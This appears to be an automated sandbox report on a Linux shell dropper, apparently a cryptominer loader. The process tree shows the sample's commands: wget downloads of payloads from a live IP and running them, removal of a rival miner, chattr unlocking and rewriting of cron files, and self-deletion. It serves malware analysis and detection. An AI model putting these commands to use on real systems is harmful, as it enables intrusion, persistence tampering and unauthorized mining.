Analysis

  • max time kernel
    129s
  • max time network
    149s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260126-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04/05/2026, 09:47

General

  • Target
    sh
  • Size 2KB
  • Sample260504-lsfessbw4m
  • SHA256 6e55b212f06eda7e0993d1302332e20453df87c66987acc3be3206ec9e9ffa6f
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Attempts to change immutable files 22 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 19 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
      PID:702
      • /bin/grep
        grep noexec
        2⤵
          PID:705
        • /bin/cat
          cat /proc/mounts
          2⤵
          • Reads runtime system information
          PID:704
        • /usr/bin/awk
          awk "{print \$2}"
          2⤵
          • Reads runtime system information
          PID:706
        • /usr/bin/whoami
          whoami
          2⤵
            PID:714
          • /usr/bin/find
            find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*"
            2⤵
            • Reads runtime system information
            PID:715
          • /bin/uname
            uname -mp
            2⤵
              PID:821
            • /usr/bin/od
              od -An -N2 -i /dev/urandom
              2⤵
                PID:825
              • /usr/bin/tr
                tr -d " "
                2⤵
                  PID:826
                • /usr/bin/expr
                  expr 46195 "%" 32 + 4
                  2⤵
                    PID:827
                  • /usr/bin/tr
                    tr -dc A-Za-z0-9
                    2⤵
                      PID:830
                    • /usr/bin/openssl
                      openssl rand -base64 256
                      2⤵
                        PID:829
                      • /usr/bin/head
                        head -c 23
                        2⤵
                          PID:831
                        • /usr/bin/touch
                          touch .testfile
                          2⤵
                            PID:832
                          • /bin/dd
                            dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                            2⤵
                              PID:834
                            • /bin/rm
                              rm -rf .testfile .testfile2
                              2⤵
                                PID:835
                              • /bin/rm
                                rm -rf clean
                                2⤵
                                  PID:836
                                • /usr/bin/wget
                                  wget --no-check-certificate -q https://125.135.169.171/clean
                                  2⤵
                                    PID:837
                                  • /bin/chmod
                                    chmod +x clean
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:838
                                  • /bin/sh
                                    sh clean
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:839
                                    • /bin/systemctl
                                      systemctl disable c3pool_miner
                                      3⤵
                                      • Enumerates kernel/hardware configuration
                                      • Reads runtime system information
                                      PID:840
                                    • /bin/systemctl
                                      systemctl stop c3pool_miner
                                      3⤵
                                      • Enumerates kernel/hardware configuration
                                      • Reads runtime system information
                                      PID:841
                                    • /usr/bin/chattr
                                      chattr -ia /var/spool/cron/crontabs
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:842
                                    • /usr/bin/chattr
                                      chattr -ia /etc/crontab
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:843
                                    • /bin/grep
                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:844
                                    • /bin/mv
                                      mv /tmp/clean_crontab /etc/crontab
                                      3⤵
                                      • Reads runtime system information
                                      PID:845
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.hourly
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:846
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.daily
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:847
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.daily/apt-compat
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:848
                                    • /bin/grep
                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:849
                                    • /bin/mv
                                      mv /tmp/clean_crontab /etc/cron.daily/apt-compat
                                      3⤵
                                      • Reads runtime system information
                                      PID:850
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.daily/bsdmainutils
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:851
                                    • /bin/grep
                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:852
                                    • /bin/mv
                                      mv /tmp/clean_crontab /etc/cron.daily/bsdmainutils
                                      3⤵
                                      • Reads runtime system information
                                      PID:853
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.daily/dpkg
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:854
                                    • /bin/grep
                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:855
                                    • /bin/mv
                                      mv /tmp/clean_crontab /etc/cron.daily/dpkg
                                      3⤵
                                      • Reads runtime system information
                                      PID:856
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.daily/exim4-base
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:857
                                    • /bin/grep
                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:858
                                    • /bin/mv
                                      mv /tmp/clean_crontab /etc/cron.daily/exim4-base
                                      3⤵
                                      • Reads runtime system information
                                      PID:859
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.daily/logrotate
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:860
                                    • /bin/grep
                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:861
                                    • /bin/mv
                                      mv /tmp/clean_crontab /etc/cron.daily/logrotate
                                      3⤵
                                      • Reads runtime system information
                                      PID:862
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.daily/passwd
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:863
                                    • /bin/grep
                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:864
                                    • /bin/mv
                                      mv /tmp/clean_crontab /etc/cron.daily/passwd
                                      3⤵
                                      • Reads runtime system information
                                      PID:865
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.weekly
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:866
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.monthly
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:867
                                    • /usr/bin/chattr
                                      chattr -ia /etc/cron.d
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:868
                                    • /usr/bin/chattr
                                      chattr -ia /etc/anacrontab
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:869
                                    • /bin/grep
                                      grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab
                                      3⤵
                                      • Attempts to change immutable files
                                      PID:870
                                    • /bin/mv
                                      mv /tmp/clean_crontab /etc/anacrontab
                                      3⤵
                                      • Reads runtime system information
                                      PID:871
                                    • /bin/rm
                                      rm -rf /tmp/sh
                                      3⤵
                                        PID:872
                                      • /bin/rm
                                        rm -rf "/var/tmp/*"
                                        3⤵
                                          PID:873
                                        • /bin/rm
                                          rm -rf "/dev/shm/*"
                                          3⤵
                                            PID:874
                                        • /bin/rm
                                          rm -rf clean
                                          2⤵
                                            PID:875
                                          • /bin/rm
                                            rm -rf .redtail
                                            2⤵
                                              PID:876
                                            • /bin/rm
                                              rm -rf .70vivDfD9T00xAbVboT1jzV
                                              2⤵
                                                PID:877
                                              • /bin/grep
                                                grep -q x86_64
                                                2⤵
                                                  PID:879
                                                • /bin/grep
                                                  grep -q amd64
                                                  2⤵
                                                    PID:881
                                                  • /bin/grep
                                                    grep -q "i[3456]86"
                                                    2⤵
                                                      PID:883
                                                    • /bin/grep
                                                      grep -q armv8
                                                      2⤵
                                                        PID:885
                                                      • /bin/grep
                                                        grep -q aarch64
                                                        2⤵
                                                          PID:887
                                                        • /bin/grep
                                                          grep -q armv7
                                                          2⤵
                                                            PID:889
                                                          • /bin/rm
                                                            rm -rf x86_64
                                                            2⤵
                                                              PID:890
                                                            • /usr/bin/wget
                                                              wget --no-check-certificate -q https://125.135.169.171/x86_64
                                                              2⤵
                                                                PID:891

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  .testfile2

                                                                  • Path /.testfile2
                                                                  • Size 2.0MB
                                                                  • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  clean

                                                                  • Path /clean
                                                                  • Size 795B
                                                                  • SHA256 d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  clean_crontab

                                                                  • Path /tmp/clean_crontab
                                                                  • Size 279B
                                                                  • SHA256 340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  clean_crontab

                                                                  • Path /tmp/clean_crontab
                                                                  • Size 1KB
                                                                  • SHA256 eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  clean_crontab

                                                                  • Path /tmp/clean_crontab
                                                                  • Size 3KB
                                                                  • SHA256 a452648bb2e987dfbea6d16656f8009e641b215c69835cee79f108030be8ec7f
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  clean_crontab

                                                                  • Path /tmp/clean_crontab
                                                                  • Size 722B
                                                                  • SHA256 0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  clean_crontab

                                                                  • Path /tmp/clean_crontab
                                                                  • Size 1KB
                                                                  • SHA256 8eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
                                                                  • MD5 SHA1 SHA512 TLSH